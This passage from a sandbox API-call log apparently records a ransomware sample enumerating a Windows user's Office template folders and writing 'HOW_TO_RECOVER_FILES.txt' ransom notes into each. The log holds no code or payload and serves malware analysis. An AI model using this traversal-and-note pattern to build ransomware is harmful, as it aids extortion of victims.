ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0258.376] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.376] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.376] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0258.376] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0258.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0258.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0258.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0258.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpFilePart=0x0) returned 0x5a [0258.376] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0258.377] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.377] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.377] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.377] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0258.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0258.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0258.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0258.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpFilePart=0x0) returned 0x5f [0258.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0258.378] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.378] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.378] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0258.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0258.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0258.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0258.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpFilePart=0x0) returned 0x5f [0258.378] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0258.378] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.379] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.379] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0258.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0258.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0258.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204e9750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0258.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9c70) returned 1 [0258.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.379] GetFileType (hFile=0x8a8) returned 0x1 [0258.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9be0) returned 1 [0258.379] GetFileType (hFile=0x8a8) returned 0x1 [0258.380] WriteFile (in: hFile=0x8a8, lpBuffer=0x376d850*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204e9d38, lpOverlapped=0x0 | out: lpBuffer=0x376d850*, lpNumberOfBytesWritten=0x204e9d38*=0x5d0, lpOverlapped=0x0) returned 1 [0258.380] CloseHandle (hObject=0x8a8) returned 1 [0258.381] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0258.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea6a0) returned 1 [0258.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.382] GetFileType (hFile=0x8a8) returned 0x1 [0258.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea610) returned 1 [0258.382] GetFileType (hFile=0x8a8) returned 0x1 [0258.382] WriteFile (in: hFile=0x8a8, lpBuffer=0x3771668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ea768, lpOverlapped=0x0 | out: lpBuffer=0x3771668*, lpNumberOfBytesWritten=0x204ea768*=0x5d0, lpOverlapped=0x0) returned 1 [0258.383] CloseHandle (hObject=0x8a8) returned 1 [0258.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0258.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0258.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.384] GetFileType (hFile=0x8a8) returned 0x1 [0258.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0258.384] GetFileType (hFile=0x8a8) returned 0x1 [0258.385] WriteFile (in: hFile=0x8a8, lpBuffer=0x3774f40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x3774f40*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0258.385] CloseHandle (hObject=0x8a8) returned 1 [0258.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0258.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpFilePart=0x0) returned 0x47 [0258.385] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0258.385] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.386] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0258.386] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0258.386] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0258.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0258.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0258.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0258.386] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpFilePart=0x0) returned 0x47 [0258.386] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0258.386] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.387] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0258.387] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.387] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0258.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0258.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0258.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0258.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpFilePart=0x0) returned 0x57 [0258.387] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0258.388] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.388] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.388] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0258.388] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0258.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0258.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0258.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0258.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpFilePart=0x0) returned 0x57 [0258.389] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0258.389] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.389] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.389] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.389] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0258.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0258.389] SetThreadErrorMode (dwNewMode=0x0, 